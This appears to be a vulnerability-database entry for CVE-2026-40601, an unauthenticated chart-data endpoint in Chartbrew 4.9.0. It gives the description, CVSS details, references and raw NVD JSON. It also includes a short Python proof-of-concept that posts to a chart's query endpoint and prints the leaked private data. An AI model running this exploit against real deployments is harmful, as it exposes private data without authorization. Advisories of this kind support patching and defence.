CVE-2026-40601

Description

Chartbrew is an open-source web application that can connect directly to databases and APIs and use the data to create charts. In version 4.9.0, Chartbrew exposes POST /api/chart/:chart_id/query without authentication. The endpoint only checks team.allowReportRefresh and does not verify that the target chart belongs to a public report, that the project is public, or that sharing policy allows the operation. An unauthenticated attacker who knows a chart identifier can trigger a data refresh and retrieve the current data of private charts. This issue has been patched in version 5.0.0.

CVSS Details

CVSS Score

7.5

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

Configurations (Affected Products)

No configuration data available.

Chartbrew < 5.0.0

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests

# Target configuration
target_host = "http://vulnerable-target.com"
chart_id = "1"  # Replace with a valid chart ID

# Vulnerable endpoint
url = f"{target_host}/api/chart/{chart_id}/query"

# Headers (no authentication token required)
headers = {
    "Content-Type": "application/json",
    "Accept": "application/json"
}

# Send POST request to trigger data refresh
try:
    response = requests.post(url, headers=headers, json={})
    if response.status_code == 200:
        print("[+] Exploit Successful!")
        print("[+] Leaked Chart Data:")
        print(response.text)
    else:
        print(f"[-] Request failed with status code: {response.status_code}")
except Exception as e:
    print(f"[-] Error occurred: {e}")

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-40601
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-40601
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-40601/
[4] VulDB https://vuldb.com/cve/CVE-2026-40601
[5] https://github.com/chartbrew/chartbrew/releases/tag/v5.0.0
[6] https://github.com/chartbrew/chartbrew/security/advisories/GHSA-cpr6-mhgm-893w

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-40601", "sourceIdentifier": "[email protected]", "published": "2026-04-30T19:16:10.110", "lastModified": "2026-05-01T15:31:02.467", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Chartbrew is an open-source web application that can connect directly to databases and APIs and use the data to create charts. In version 4.9.0, Chartbrew exposes POST /api/chart/:chart_id/query without authentication. The endpoint only checks team.allowReportRefresh and does not verify that the target chart belongs to a public report, that the project is public, or that sharing policy allows the operation. An unauthenticated attacker who knows a chart identifier can trigger a data refresh and retrieve the current data of private charts. This issue has been patched in version 5.0.0."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-862"}]}], "references": [{"url": "https://github.com/chartbrew/chartbrew/releases/tag/v5.0.0", "source": "[email protected]"}, {"url": "https://github.com/chartbrew/chartbrew/security/advisories/GHSA-cpr6-mhgm-893w", "source": "[email protected]"}]}}